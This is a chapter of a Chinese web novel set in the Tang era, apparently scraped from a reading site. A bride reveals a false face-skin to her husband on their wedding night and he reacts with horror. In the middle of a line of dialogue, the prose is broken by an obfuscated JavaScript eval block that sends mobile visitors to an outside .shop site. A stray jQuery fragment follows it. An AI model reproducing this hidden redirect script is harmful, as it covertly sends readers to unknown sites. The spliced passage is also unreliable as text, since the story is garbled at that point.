文趣网 > 其他小说 > 岁归唐异闻 > 6. 美人面-夜话
    堂下此刻正在行合卺礼,长风端上酒杯,陆诩、姚珂两人各执一杯,情意绵绵地饮下了交杯酒。

    随后便是拜堂,先拜天地,再拜高堂,夫妻对拜,终于礼成。姚珂被送入新房,等到没有外人时才羞涩地放下团扇,满心欢喜地等待着陆诩。

    陆诩此时正在和父母一起在前面招待前来观礼的宾客,一直到夜幕降临,他才醉醺醺地回来,新房内红烛摇曳,姚珂已等候他多时了。

    一旁服侍他的人见状纷纷离开,陆诩走上前去轻牵起姚珂的手,含情脉脉道:“珂儿,我今日真高兴,我终于娶到你了。”

    姚珂含羞,低声回应:“诩郎,妾身也很高兴。”

    陆诩又柔声道:“珂儿,今日辛苦你了。”

    姚珂将手伸向他的婚服,粉面含春道:“妾身不累,诩郎今日才更辛苦。”

    陆诩的指腹轻轻抚上她的脸颊,眼含柔情:“珂儿,你今日可真美。”

    姚珂心头一颤,忙不动声色地按住陆诩在自己脸上摩挲的手掌,垂眸羞怯道:“诩郎,你看这红烛过半,夜已深沉,我们还是早点安歇吧?”

    陆诩伸手反握住她的手,深情道:“好,珂儿,今晚你在这里好好休息,我就回自己院子去了,明日再来看你。”

    姚珂点点头,娇羞道:“好,那诩郎慢走……欸,不对,你说什么?”

    “我说,我要回去休息了,你也早些睡吧。”

    姚珂一脸错愕,不可置信地望着陆诩,道:“诩郎,今晚可是我们的新婚之夜,你难道不和妾身同床共枕吗?”

    陆诩凑近她,小声解释道:“珂儿,我今日喝了不少酒,整个人都不太清醒,等到明日酒醒之后我们再好好做夫妻也不迟,你说是吗?”

    姚珂的脸“腾”的一下就红了,嗫嚅道:“可大婚头一天我们就分房睡,若让下人知道了,妾身定是会被笑话的。”

    “你放心,这府里的下人个个都是嘴严的,况且我方才就吩咐他们远远守着,不会有人发现我离开过,明日一早我就来找你,我们再一起去拜见父亲和母亲。”

    “可是诩郎,妾身舍不得你……”

    “珂儿,听话。”陆诩收敛了笑容,脸上似乎还露出了一丝冷厉的不悦之色。

    姚珂虽还有些不情愿,却见他似乎十分坚持,也拗不过他,最终,只能无奈道:“唉,既然诩郎身子不爽,那妾身不答应也不行了。”

    “这样才乖。”陆诩轻轻拍了拍她的手背,随即转身离开。

    陆诩居住的跨院离得不远,他离开后,婚房里,姚珂坐下,拿起一面云龙纹铜镜端详自己的容貌是否有破绽,芸儿在一旁帮她卸去头冠,又拿来热水让她洗去妆容,忍不住小声道:“小姐,您怎么能真让陆公子走了呢?”

    姚珂放下铜镜,低头轻轻抚摸着嫁衣袖口绣着的一对金线绣着的蝴蝶,苦笑道:“不妨事,横竖过了今夜,我就是名正言顺的陆少夫人了。”

    “可是奴婢总觉得有些蹊跷,您说,陆公子他不会是有什么事瞒着您吧?”

    “能有什么大事呢?”姚珂轻轻抚上自己的脸颊,道:“只要我保住这张脸,他就会一直爱我,我若是早日怀上他的孩子,便能万事大吉了。”

    “可是他今晚都没有留下……”

    “你多虑了,芸儿。来日方长,诩郎总不会一直这样。”

    “……是。”

    姚珂站起身来,任由红绸嫁衣滑落在地上。她双脚踏着它踱到外间,眯眼看着缸里一动不动的大龟,勾唇一笑:“你看,阿墨都快要冬眠了,看来它也很适应这里呢。”

    芸儿附和道:“是呢,阿墨自从到了这里就一直很安静,不像从前在怀远坊那样一直闹腾了。

    “看来,这陆府的确是个好地方。”姚珂打了个哈欠,道:“芸儿,早点睡吧,明日还要去拜见诩郎的父亲母亲呢。”

    “是。”

    翌日,天气晴好,陆诩晨起便带着姚珂去向二老问安。陆夫人看到他们两人恩爱的模样,心中喜悦,拉着姚珂的手,将一对温润剔透的玉镯套在她的手腕上,姚珂依礼客气了一番后也就笑着纳了,口中连连道谢。

    几个人用过早饭后,陆夫人想要去花园散步,姚珂便扶着她的手同去。两人慢慢走着,陆夫人絮絮说道:“珂儿,其实我从前就见过你,那时一眼便看出来你是个好姑娘,不怪诩儿一直对你念念不忘。如今我们也是一家人了,这陆府上上下下的打理日后也得要托付于你,这几日你且先熟悉熟悉府里的环境,将来我再慢慢将这府内的管家之事说与你听。”

    姚珂淡淡笑着点头,乖巧柔顺,并未将昨夜陆诩与自己分房别居的事情说出来,二人依偎在一起亲热得如同亲生母女一般。

    姚柯在陆府过得顺风顺水,可之后接连几天,陆诩却都以各种各样的借口对她避而不见,更不和她同房,她渐渐开始心急。

    这晚,两人照例一起用饭,正当姚珂苦思冥想怎样留住对方、不让他再像前几日一样借故走掉时,陆诩竟突然先开口了。

    “珂儿,我今日得了一坛好酒,晚上我们一起把酒秉烛夜话,如何?”

    姚珂又惊又喜,忙答应道:“那当然好,诩郎今晚也会留宿在这里的吧?”

    “那是自然,我怎舍得一直冷落你呢?”陆诩微微一笑,握住了姚珂的手。

    夜深,房里只剩姚珂和陆诩,她们一边饮桂花酒,一边推心置腹地聊天,不多时,两人面上便都染上了红晕,满眼都是醉意。

    姚珂问道:“诩郎,我们当真是夫妻了吗?”

    陆诩答道:“珂儿,我们当真是夫妻了。”

    “真好。”姚珂叹了一口气,眉带春愁,道:“诩郎,妾身被大火毁去容貌时,你许久都没有来看妾身,妾身真担心会因此被你抛弃。”

    “不会的,珂儿,我爱你,就算你的容貌没有复原,我也断不会抛弃你。”

    姚珂侧头,嗔道:“哼,妾身不信。”

    陆诩揽过她的肩膀,直视着她的双眼,信誓旦旦道:“是真的,即使不在你身边,我也无时无刻不在思念你,无时无刻不在爱着你,你哪怕面目全非,或者鹤发鸡皮,在我心中也永远是这世间最美丽的女子。”

    语挚情长,酒意上涌,姚珂丧失了理智的思考能力,心中只剩下了无限的感动,她是真的相信了陆诩对自己这份矢志不渝的爱。因此,她下定了决心,坦言道:“诩郎,对不起,妾身其实骗了你。”

    “珂儿,知错能改,善莫大焉,无论做了什么,只要你能诚信改过,我就一定会原谅你。”陆诩挑起姚珂的下巴,深情款款地道:“况且我也有一件瞒着珂儿的事情

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968791|214616||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,希望珂儿能理解我。”

    “没错,诩郎和妾身是恩爱夫妻,彼此应当坦诚相待。”姚珂犹豫了一会儿,终于下定决心,将手伸向耳后,缓缓掀开了那层薄薄的面皮。

    陆诩迷蒙着醉眼,反应有些迟钝:“珂儿,你这是做什么?”

    “诩郎,既然你对妾身的爱如此深沉,能超越一切,那妾身便不再瞒你,”姚珂小心翼翼道:“其实,妾身的容貌并未恢复,只是用一些方式暂且掩饰住了而已。”

    “啊啊啊——”怀中红粉突然变怪物,陆诩吓得脸色煞白,一把推开姚珂,两人一起跌倒在地上。

    “诩郎,你这是做什么!”姚珂也吓了一跳,伏在地上痛叫道。

    “你、你怎么还是这幅鬼样子,快离我远一点!”陆诩抱着头,连滚带爬地往门的方向跑,奈何酒醉腿软,竟有些挪不动步子。

    一瞬间,姚珂便反应了过来,她从地上爬起来生气地质问道:“诩郎,你这是什么意思!”

    姚珂手中捏着一张美人面皮,面容因羞恼而变得更加扭曲,那副模样实在有些诡异瘆人。

    陆诩望着姚珂,眼神有些惊恐,道:“你……你究竟用了什么妖术……”

    “你明明才说过,无论妾身是什么样子都会爱妾身的!”

    “你究竟是人还是鬼,快离我远一点!”

    “诩郎,妾身不是鬼,妾身是你最爱的珂儿啊!”

    陆诩对姚珂的话置若罔闻,颤声道:“我知道了,我知道了,你一定是发现了,所以才嫁给我来为你父母报仇……”

    姚珂一愣,一把上前去扯住他的袖子,问道:“……诩郎,你这是什么意思?”

    见一张布满恐怖疤痕的脸靠近自己,陆诩吓得大声呼喊:“你不要过来,救命啊——救命啊——唔!”

    因为担心被人听见,情急之下,姚珂果断将手中那张面皮团成一团塞进陆诩的嘴,将他的呼救声堵住了。

    陆诩吓得几乎晕过去,他想要逃跑,可因为又惊又怕,他的两条腿实在软得迈不动。

    姚珂惊怒心痛,原来诩郎并不像他说的那样爱自己,自己父母的失踪似乎也与他有关,今晚,她必须认真弄清楚这些事。

    可这一夜,似乎也太长了。

    这日,清晨,崇贤坊祠部郎中府。小厮长风见陆诩迟迟未起,心中奇怪,可就当他在犹豫是否要去卧房看看是何缘由时,陆少夫人姚珂从另一侧的偏房出来了。

    她的脸此时已经恢复如初,但细细看去不难发觉有些异样,大约是因为没休息好而显得有些微的浮肿。

    长风赶忙行礼:“少夫人,您昨晚怎么睡在那里?”

    姚珂的面上依旧带着温柔的笑意,道:“长风,相公昨夜醉酒,为了不打扰他安歇,我便自己去偏房睡了,他现下起来了吗?”

    因为陆诩一向不与姚珂同房歇息,因此长风也并未觉得哪里不妥,于是答道:“还没有,小的担心出了什么事,也正要去看。”

    姚珂自责道:“怪我昨夜贪酒,醉得有些难受,否则实在应该守在诩郎身边的。”

    “少夫人无需自责,横竖都在自己府里,想来也出不了什么大事。”长风挠头道。

    “这话倒也没错,那我和你一起进去吧。”说着,姚珂便越过长风,快步往陆诩的卧房走去。